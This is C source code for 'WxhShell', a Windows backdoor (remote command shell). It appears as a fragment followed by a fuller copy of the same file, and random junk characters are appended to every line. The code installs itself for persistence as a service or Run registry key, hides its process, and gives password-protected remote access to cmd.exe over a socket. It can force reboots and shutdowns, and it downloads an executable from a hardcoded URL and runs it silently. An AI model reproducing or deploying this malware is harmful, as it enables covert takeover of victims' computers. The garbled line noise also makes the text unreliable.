    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ais@|s;  
    if(Boot(SHUTDOWN)) crvq]J5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "1I\~]]  
    else { @ vHj>N  
    closesocket(wsh); ,2>nr goM  
    ExitThread(0); 1[4 2f#  
    } p#A{.6Pa:  
    break; OUM^ u*  
    } MqKf'6z  
  // 获取shell D2N<a=#  
  case 's': { N Ftmus  
    CmdShell(wsh); T #OrsJdu  
    closesocket(wsh); 4s_|6{ANS  
    ExitThread(0); Rlyx& C8  
    break; Tup2;\y  
  } 0cF +4,5  
  // 退出 P[L] S7FTr  
  case 'x': { zqJ0pDS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +5<]s+4T  
    CloseIt(wsh); ,Y+J.8.H   
    break; -mfdngp3  
    } f?Am)  
  // 离开 -5X*y4#  
  case 'q': { a]]>(Txc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); myq:~^L ;  
    closesocket(wsh); _]aA58,j  
    WSACleanup(); AhA4IOG`.  
    exit(1); hH.X_X?d%  
    break; D #Ku5~j  
        } Ew,1*WK!  
  } 6C@W6DR3N  
  } ca6kqh"  
0pW?v:!H  
  // 提示信息 HzdyfZ!jR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qvHRP@  
} Bj1{=Pvl  
  } Or:a\qQ1  
5`t MHgQO  
  return; S!oG|%VuB#  
} \""sf{S9  
:i};]pR   
// shell模块句柄 I 7 B$X=  
int CmdShell(SOCKET sock) XLq%nVBM8\  
{ Ec4+wRWk85  
STARTUPINFO si; y/9aI/O'  
ZeroMemory(&si,sizeof(si)); {3H)c^Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rY:A LA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Et0[HotO  
PROCESS_INFORMATION ProcessInfo; 0x1#^dII  
char cmdline[]="cmd"; j t6q8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KEfx2{k b  
  return 0; rEfo)jod  
} *f ;">(`o*  
aePLP  
// 自身启动模式  Oye:V  
int StartFromService(void) TQ`4dVaf  
{ `=QRC.b  
typedef struct &)Z!A*w]  
{ K3I|d;Y~X!  
  DWORD ExitStatus; A8jj]J+  
  DWORD PebBaseAddress; z]d2 rzV(_  
  DWORD AffinityMask; Nk ~"f5q7  
  DWORD BasePriority; ~jOn)jBRZ  
  ULONG UniqueProcessId; 6jaol'{SuH  
  ULONG InheritedFromUniqueProcessId; 2leTEs5aK`  
}   PROCESS_BASIC_INFORMATION; kKlcK_b;  
*= ;M',nx  
PROCNTQSIP NtQueryInformationProcess; _X/`7!f  
7FB aN7l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r0'6\MS13  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  HQ0fY  
2Y-NxW^]  
  HANDLE             hProcess; d) i64"  
  PROCESS_BASIC_INFORMATION pbi; }bA@QEJ  
;jZf VRl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E(p*B8d  
  if(NULL == hInst ) return 0; qh)10*FB  
s k>E(Myo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +[_mSt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kaG@T,pH(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &CcUr#|  
s%OPoRE  
  if (!NtQueryInformationProcess) return 0; \LbBK ~l-I  
VX{9g#y$j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1RM@~I$0  
  if(!hProcess) return 0; Smc=-M}  
c7R<5f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zu52]$Vj  
H5J1j*P<d  
  CloseHandle(hProcess); YQ _]Jv k  
-+)06BqF}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  |Ym3.hz  
if(hProcess==NULL) return 0; tA{B~>  
8}_M1w6v  
HMODULE hMod; ymo].  
char procName[255]; [19QpK WM  
unsigned long cbNeeded; P;7 Y9}  
zxhE9 [`*e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5S/YVRXq  
~A-Y%P  
  CloseHandle(hProcess); x<gP5c>zm  
s-lNpOi  
if(strstr(procName,"services")) return 1; // 以服务启动 Xub<U>e;b  
(_.0g}2  
  return 0; // 注册表启动 E#A%aLp0E  
} _7=LSf,9  
mYRsM s  
// 主模块 vDit&Lh{T  
int StartWxhshell(LPSTR lpCmdLine) 2^f6@;=M  
{ *{fL t  
  SOCKET wsl; JK=0juv<E  
BOOL val=TRUE; L,7+26XV"B  
  int port=0; 79MF;>=tV  
  struct sockaddr_in door; Gw@]w;ed  
- :~"c@D  
  if(wscfg.ws_autoins) Install(); MIx,#]C&  
K Ml>~r  
port=atoi(lpCmdLine); 29tih{ xx  
6(=>!+xpRr  
if(port<=0) port=wscfg.ws_port; .tQeOZW'  
T@P[jtH<d  
  WSADATA data; k,GAHM"'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H$4 4,8,m  
"xxt_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S|pf.l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7B s:u  
  door.sin_family = AF_INET; '5; /V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  U rL|r.  
  door.sin_port = htons(port); L<H zPg  
LAjreC<W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RIV + _}R  
closesocket(wsl); FhJtiw@  
return 1; bg/a5$t  
} |SSe n#PYp  
<!G%P4)  
  if(listen(wsl,2) == INVALID_SOCKET) { [L`w nP  
closesocket(wsl); ic=tVs  
return 1; ==]BrhZK  
} &|Cd1z#?  
  Wxhshell(wsl); LE]mguvs  
  WSACleanup(); Sece#K2J|  
HY>zgf,0  
return 0; 4uy:sCmu  
9ymx;  
} !HCuae3_  
=tQ^t4_  
// 以NT服务方式启动 0/TP`3$X#"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ({!S!k  
{ `:#IZ  
DWORD   status = 0; lNbAt4]}f(  
  DWORD   specificError = 0xfffffff; H7?Sd(U  
q<Z`<e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L{F[>^1Sb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E E^l w61  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DNu-Ce%  
  serviceStatus.dwWin32ExitCode     = 0; HD!2|b ~@  
  serviceStatus.dwServiceSpecificExitCode = 0; /{%p%Q[X  
  serviceStatus.dwCheckPoint       = 0; A(}D76o_  
  serviceStatus.dwWaitHint       = 0; IlfH  
9YEE.=]T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z3qr2/  
  if (hServiceStatusHandle==0) return; AQm#a;  
cP2n,>:  
status = GetLastError(); Cc}3@Nf{/  
  if (status!=NO_ERROR) M'5PPBSR  
{ 6.6;oa4j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E x )fXQ+  
    serviceStatus.dwCheckPoint       = 0; WWgJ !Uz  
    serviceStatus.dwWaitHint       = 0; m bZn[D_zi  
    serviceStatus.dwWin32ExitCode     = status; (U([T-H  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lc! t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o>75s#= b=  
    return; M.u1SB0  
  } b-?d(-  
s0\}Q=s[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =Ohro '   
  serviceStatus.dwCheckPoint       = 0; 32z2c:G  
  serviceStatus.dwWaitHint       = 0; B1 Y   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0u?Vn N<  
} 1<D^+FC4b,  
5H }d\=z  
// 处理NT服务事件,比如:启动、停止 9r=yfc!cS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )Nt'Z*K*  
{ 2OZ<t@\OY  
switch(fdwControl) /K :H2?J  
{ >41K>=K  
case SERVICE_CONTROL_STOP: 1TlMB  
  serviceStatus.dwWin32ExitCode = 0; vWVQ8S.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +HkEbR'G0  
  serviceStatus.dwCheckPoint   = 0; 0WQd#l  
  serviceStatus.dwWaitHint     = 0; 7 0Wy]8<P  
  { ?%ei+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y. KJP ?  
  } F~C7$  
  return; 0lLg uBW@  
case SERVICE_CONTROL_PAUSE: Fp~0 ^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /WMJ#IE  
  break; ZKF  #(G  
case SERVICE_CONTROL_CONTINUE: QP7N#mh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G]RFGwGt  
  break; @pN6uDD}R  
case SERVICE_CONTROL_INTERROGATE: yW@YW_2;4  
  break; @ S)p{T5G  
}; #3}!Q0   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yi:1cLq2  
} 1k!$#1d<  
B4t,@,\O  
// 标准应用程序主函数 }iRRf_   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ge|Cv v  
{ rYO~/N  
vRMGNz_P7[  
// 获取操作系统版本 Nn{/_QG  
OsIsNt=GetOsVer(); Fd/Ra]@\Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _#y=T20'3  
<,</ Ge  
  // 从命令行安装 0) Q*u  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]zh6[0V7V  
Yv"-_  
  // 下载执行文件 /E^j}H{  
if(wscfg.ws_downexe) { f{+X0Oj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZsN3 MbY  
  WinExec(wscfg.ws_filenam,SW_HIDE); M5c *vs  
}  U92?e}=]  
.(Tf$V  
if(!OsIsNt) { C *]XQ1F4  
// 如果时win9x,隐藏进程并且设置为注册表启动 QRHM#v S  
HideProc(); cF}9ldc  
StartWxhshell(lpCmdLine); HY,VJxR[  
} sWFw[ Y>  
else @<z#a9  
  if(StartFromService()) xV.UM8  
  // 以服务方式启动 ?7dV:]%~2  
  StartServiceCtrlDispatcher(DispatchTable); >o5eyi  
else ^w*&7.Z  
  // 普通方式启动 Rf TG 5E)  
  StartWxhshell(lpCmdLine); ,:pKNWY)Q  
b5?k)s2  
return 0; PJ2m4ulY  
} CO{AC~  
V PI_pK  
I&>5b7Uf  
]~7xq)28  
=========================================== Hh'o:j(^  
Y0g6zHk7  
zv~b-Tp  
xPMX\aI|l  
<5npVm  
T#ehJq 5  
" [='<K  
F32U;fp3  
#include <stdio.h> 0pA>w8mh  
#include <string.h> B+lnxr0t  
#include <windows.h> aj}#~v1  
#include <winsock2.h> M7c53fz  
#include <winsvc.h> .83z =  
#include <urlmon.h> k@Bn}r  
#R# |hw  
#pragma comment (lib, "Ws2_32.lib") ]]/p.#oD,  
#pragma comment (lib, "urlmon.lib") N[wyi&m4  
oD_#oX5\  
#define MAX_USER   100 // 最大客户端连接数 M [6WcH0/T  
#define BUF_SOCK   200 // sock buffer ]?V2L`/  
#define KEY_BUFF   255 // 输入 buffer PjkjUP  
!uN_<!  
#define REBOOT     0   // 重启 FmhN*ZXr #  
#define SHUTDOWN   1   // 关机 z6'l" D'h  
:PP!v!vk  
#define DEF_PORT   5000 // 监听端口 %i@Jw  
~i=5NUE  
#define REG_LEN     16   // 注册表键长度 X@Yl<9|i  
#define SVC_LEN     80   // NT服务名长度 lQ|i Ws  
)P9&I.a8  
// 从dll定义API ~}ba2dU8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g&d tOjM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2qPQ3-'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` W{y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M~-jPY,+  
M (.Up  
// wxhshell配置信息 C[nacAi  
struct WSCFG { A#CGD0T  
  int ws_port;         // 监听端口 xcC^9BAj  
  char ws_passstr[REG_LEN]; // 口令 7jYW3  
  int ws_autoins;       // 安装标记, 1=yes 0=no :+UahwiRD"  
  char ws_regname[REG_LEN]; // 注册表键名 HfA@tZ5q|U  
  char ws_svcname[REG_LEN]; // 服务名 <%=@Ue  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zN>tSdNkI-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o & kgRv[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rs53R$PIR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +6\1 d5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9`5qVM1O{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qWw{c&{Q],  
)Qc>NF0  
}; v Yw$m#@  
#& &  
// default Wxhshell configuration ;"+]bne~  
struct WSCFG wscfg={DEF_PORT, rB.LG'GG]  
    "xuhuanlingzhe", W(jP??up  
    1, ])mYE }g  
    "Wxhshell", e*pYlm  
    "Wxhshell", RhI>Ak;-  
            "WxhShell Service", ){"-J&@?  
    "Wrsky Windows CmdShell Service", 7hl,dtn7  
    "Please Input Your Password: ", 8&++S> <  
  1, we2D!Ywr  
  "http://www.wrsky.com/wxhshell.exe", 9pq-"?vHY0  
  "Wxhshell.exe" SAN/ fnM  
    }; k>!A~gfP~  
fC!+"g55  
// 消息定义模块 (zhi/>suG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u;=a=>05IR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _A=Pr _kN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !KmSLr7xU  
char *msg_ws_ext="\n\rExit."; g:fzf>oQ>p  
char *msg_ws_end="\n\rQuit."; !z?;L_Lb  
char *msg_ws_boot="\n\rReboot..."; =l1O9/\9  
char *msg_ws_poff="\n\rShutdown..."; O"f|gc)GLz  
char *msg_ws_down="\n\rSave to "; THz=_L6  
mY!&*nYn|  
char *msg_ws_err="\n\rErr!"; ,B$m8wlI|  
char *msg_ws_ok="\n\rOK!"; L=<{tzTc  
h}f l:J1C  
char ExeFile[MAX_PATH]; h0Ilxa   
int nUser = 0; PVX23y;  
HANDLE handles[MAX_USER]; eC*-/$D  
int OsIsNt; o;7_*=i  
{%XDr,myd  
SERVICE_STATUS       serviceStatus; *)um^O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p|VgtQ/ )%  
4'U #<8  
// 函数声明 p^9u8T4l1  
int Install(void); o 9{~F`{p  
int Uninstall(void); hT[w" &3  
int DownloadFile(char *sURL, SOCKET wsh); ql%]t~HR0  
int Boot(int flag); 'A#F< x  
void HideProc(void); /|aD,JVN"  
int GetOsVer(void); UeN+}`!l  
int Wxhshell(SOCKET wsl); <#No t1R  
void TalkWithClient(void *cs); KPB^>,T2{  
int CmdShell(SOCKET sock); k)B]|,g7G0  
int StartFromService(void); 7Un5Y[FZo  
int StartWxhshell(LPSTR lpCmdLine); _J -3{a  
`T~~yM)q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,-_\Y hY>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /\|Behif  
&l2C-(  
// 数据结构和表定义 (}&O)3)  
SERVICE_TABLE_ENTRY DispatchTable[] = 0v'FE35~s  
{ 'I1^70bB  
{wscfg.ws_svcname, NTServiceMain}, fv?vfI+m  
{NULL, NULL} GJbU1k]  
}; tU, >EbwO  
9{XC9 \~  
// 自我安装 pTIE.:g(  
int Install(void) q5u"v  
{ ahqsbNu1  
  char svExeFile[MAX_PATH]; j;_ >,\  
  HKEY key; %Astfn(U{4  
  strcpy(svExeFile,ExeFile); [+z*&~'  
6qkMB|@Ix  
// 如果是win9x系统,修改注册表设为自启动 $(ei<cAV  
if(!OsIsNt) { DXc3u^ L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dMjAG7U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qo62!q  
  RegCloseKey(key); M_EXA _  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E6mwvrm8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J:JkX>n%k=  
  RegCloseKey(key); "I)`g y&  
  return 0; MPF;P&6  
    } zd^QG  
  } .m_-L Y-  
} |)IS[:X  
else { c(G;O )ikS  
KiO1l{.s8n  
// 如果是NT以上系统,安装为系统服务 KL6FmL)HH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *:hHlH* t1  
if (schSCManager!=0) 5p`.RWls  
{ D_)n\(3  
  SC_HANDLE schService = CreateService YQ#o3 sjs  
  ( TEt+At`]  
  schSCManager, %W:]OPURK  
  wscfg.ws_svcname, F)^:WWVc#  
  wscfg.ws_svcdisp, ~Bs=[TNd[  
  SERVICE_ALL_ACCESS, lgaE2`0 [3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ew{(@p+$  
  SERVICE_AUTO_START, B0#JX MX9  
  SERVICE_ERROR_NORMAL, 6N {|;R@2  
  svExeFile, Rw#4 |&  
  NULL, c2d=dGP>~f  
  NULL, Hj^_Cp]@*  
  NULL, ibIo1i//[  
  NULL, (!^; ar^  
  NULL AQa;D2B$  
  ); d-sK{ZC"y  
  if (schService!=0) T`gR&n<D  
  { XlHt(d0h  
  CloseServiceHandle(schService); %^ z## 7^  
  CloseServiceHandle(schSCManager); n#lZRwhq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^-GzWT  
  strcat(svExeFile,wscfg.ws_svcname); hd)HJb-aR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L! DK2,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tj=l!  
  RegCloseKey(key); zs@xw@  
  return 0; }* s%|!{H  
    } Me XGE  
  } ,ThN/GkSC  
  CloseServiceHandle(schSCManager); ;u "BCW  
} T0=%RID%=  
} \>@QJ  
zxffjz,Fe:  
return 1; oz[: T3oE>  
} POtwT">z  
6o!Y^^/U  
// 自我卸载 V'jvI  
int Uninstall(void) 5fqQ;r  
{ ]E!b&  
  HKEY key; /a:sWmxMT  
!<2%N3l  
if(!OsIsNt) { Mp`2[S@$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -U#e  
  RegDeleteValue(key,wscfg.ws_regname); bw& U[|A0%  
  RegCloseKey(key); @K:TGo,%I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q5~Y;0'  
  RegDeleteValue(key,wscfg.ws_regname); D?:AHj%gW  
  RegCloseKey(key); ?<"H Io  
  return 0; s2rwFj8 |  
  } wz{]CQ7"  
} wW?/`>@  
} vjz*B$  
else { Bc^ MZ~+ip  
JNZ  O7s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mM6X0aM  
if (schSCManager!=0) i{+W62k*  
{ E+$%88  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PA_54a9/<  
  if (schService!=0) 7_*k<W7|  
  { ]> dCt<  
  if(DeleteService(schService)!=0) { "ke>O'   
  CloseServiceHandle(schService); py8)e7gX=  
  CloseServiceHandle(schSCManager); ZN `D!e6  
  return 0; 9C_Vb39::$  
  } +M^+qt;]V  
  CloseServiceHandle(schService); 3+>;$  
  } +J<igb!S  
  CloseServiceHandle(schSCManager); >/5'0n_R  
} v62M8r,Y  
} dNg5#?mzT5  
ap y#8]  
return 1; XD=p:Ezh  
} 'l7ey3B%  
4gkaCk{]  
// 从指定url下载文件 U.,_zEbx,  
int DownloadFile(char *sURL, SOCKET wsh) ^vA"3Ixb!  
{ $>csm  
  HRESULT hr; }> pNf  
char seps[]= "/"; luj UEHzp  
char *token; ft" t  
char *file; Z\9DtvV  
char myURL[MAX_PATH]; gfY1:0  
char myFILE[MAX_PATH]; (m3 <)  
PZjK6]N\  
strcpy(myURL,sURL); `1fNB1c  
  token=strtok(myURL,seps); ZS\~GQbG  
  while(token!=NULL) td"D&1eQ@  
  { EO: VH  
    file=token; 8,DY0PGP  
  token=strtok(NULL,seps); e [ 9  
  } 2YV*U_\L  
oM~;du  
GetCurrentDirectory(MAX_PATH,myFILE); Pv#>j\OR&  
strcat(myFILE, "\\"); (+w>hCI  
strcat(myFILE, file); xP61^*-2  
  send(wsh,myFILE,strlen(myFILE),0); $ 9%UAqk9  
send(wsh,"...",3,0); @cC@(M~Ru  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9H6%\#rw  
  if(hr==S_OK) fDU_eyt/Z'  
return 0; de<T5/  
else AwQ7Oz|(  
return 1; QRL+-)DMc  
iu9<]1k  
} (- QvlpZ  
31> $;"  
// 系统电源模块 \lBY4j+;  
int Boot(int flag) ]XS[\qo  
{ e_v_y$  
  HANDLE hToken; )@,zG(t5;  
  TOKEN_PRIVILEGES tkp; qwomc28O  
>o_cf*nx  
  if(OsIsNt) { d09qZj>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2k]Jkd,E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &hco3HfW  
    tkp.PrivilegeCount = 1; (aTpBXGr=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @}+F4Xh,L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ak'=/`+p  
if(flag==REBOOT) { - D&d1`N4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EjDr   
  return 0; qQ T ^d  
} E# UAC2Q  
else { l?Qbwv}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HV}*}Ty  
  return 0; OB5t+_ s  
} "eb+O  
  } !bGMVw6_  
  else { __OH gp 1  
if(flag==REBOOT) { 31)eDs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _>=QZ`!r  
  return 0; =_:Mx'7  
} X7Z=@d(  
else { lV ra&5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p/WE[8U  
  return 0; N*NGC!p`N  
} yZyB.wT  
} oH>G3n|U^  
_p^&]eQ+k#  
return 1; agUdPl$e\  
} .jK,6't^  
%SKJ#b  
// win9x进程隐藏模块 og)f?4  
void HideProc(void) U3OXO 1  
{ L[a A4`  
E~K5n2CI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f C_H0h3  
  if ( hKernel != NULL ) qw35LyL  
  { tuIQiWHbM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <#>{7" }  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %Xjg/5G-  
    FreeLibrary(hKernel); W%_Cda5,  
  } >V|KS(}s  
'eDV-cB  
return; %RD%AliO}K  
} ]7:*A7/!.  
+ X0db  
// 获取操作系统版本 -hpC8YS  
int GetOsVer(void) )gPkL r  
{ !'f.g|a  
  OSVERSIONINFO winfo; W>cHZ. _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m$!Ex}2  
  GetVersionEx(&winfo); r[W Ir|r7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rOA{8)jIa*  
  return 1;  Ds@nuQ  
  else C]GW u~QF  
  return 0; -![>aqWmj1  
} </-aG[Fi  
a"bael  
// 客户端句柄模块 ibL    
int Wxhshell(SOCKET wsl) JthW"{E  
{ Q)L6+gW^  
  SOCKET wsh; W~Ae&gcn#  
  struct sockaddr_in client; v FWg0 $,  
  DWORD myID; ]!'9Y}9a  
7j~}M(s"  
  while(nUser<MAX_USER) S<Od`I  
{ i{2ny$55h  
  int nSize=sizeof(client); P`TJqJiY~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CEl9/"0s6  
  if(wsh==INVALID_SOCKET) return 1; G/y;o3/[Z  
E;-*LT&{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s^zX9IVnp  
if(handles[nUser]==0) 3Xl!Z^W  
  closesocket(wsh); :{'%I#k2  
else .X;D I<K  
  nUser++; Qoom[@$  
  } 6u [ B}%l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .g8db d  
r";;Fk#5  
  return 0; mr<camL5  
} MCO`\"`l  
~Sc{\ZJl  
// 关闭 socket ]aI   
void CloseIt(SOCKET wsh) X|Rw;FY  
{ zn2Qp  
closesocket(wsh); V8}jFib  
nUser--; {2=f,,|+f  
ExitThread(0); i&Xjbcbp  
} NGL,j\(~7  
@*^%^ P  
// 客户端请求句柄 hzV= 7  
void TalkWithClient(void *cs) ?my2dd,|  
{ )=5 ,S~IT  
rPUk%S  
  SOCKET wsh=(SOCKET)cs; =)IV^6~b  
  char pwd[SVC_LEN]; DtglPo_(  
  char cmd[KEY_BUFF]; -a`P W  
char chr[1]; H}PZJf_E  
int i,j; lqZUU92;  
wHE1Jqpo  
  while (nUser < MAX_USER) { eiJ~1H X)  
{jOV8SVL  
if(wscfg.ws_passstr) { GFfZ TA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3fd?xhWbN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7;3;8Q FX  
  //ZeroMemory(pwd,KEY_BUFF); 9six]T  
      i=0; J|.n bSE  
  while(i<SVC_LEN) { qj1Fj  
F/w*[Xi Sh  
  // 设置超时 y1_z(L;I  
  fd_set FdRead; |}D5q| d@n  
  struct timeval TimeOut; H J0Rcw%  
  FD_ZERO(&FdRead); u}eLf'^ZCe  
  FD_SET(wsh,&FdRead); #j4jZBOTM  
  TimeOut.tv_sec=8; ?4H>1Wkb  
  TimeOut.tv_usec=0; JN> h:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h)pYV>!d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jSdW?IH  
3F?_{A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !~ fy".|x  
  pwd=chr[0]; 6YF<GF{  
  if(chr[0]==0xd || chr[0]==0xa) { F42?h:y8I  
  pwd=0; QQ\\:]iM  
  break; k<QZ_*x}G  
  } f?W"^6Df  
  i++; .M([n-  
    } *_H^]wNJG  
aK?PK }@  
  // 如果是非法用户,关闭 socket ykD-L^}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4`'V%)M  
}  ?F/)<r  
.kp3<.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kdr} 7#c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sj8lvIY5  
dLtmG:II  
while(1) { M@<r8M]G  
a,eJO??  
  ZeroMemory(cmd,KEY_BUFF); ES ?6  
bsdT>|gW  
      // 自动支持客户端 telnet标准   G0b##-.'^  
  j=0; X3R:^ff\  
  while(j<KEY_BUFF) { DyM<aT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h {VdW}g  
  cmd[j]=chr[0]; K8 Hj)$E61  
  if(chr[0]==0xa || chr[0]==0xd) { q$7/X;A  
  cmd[j]=0; pIl[)%F  
  break; ]6@6g>f?  
  } gPcOm b  
  j++; gVI T6"/  
    } ^a?g~G  
e`bP=7`0  
  // 下载文件 ~*hCTqH vN  
  if(strstr(cmd,"http://")) { j5MUP&/g3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t`pbEjE0K  
  if(DownloadFile(cmd,wsh)) sfzDE&>'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 `$fs.4c  
  else Z=9gok\  
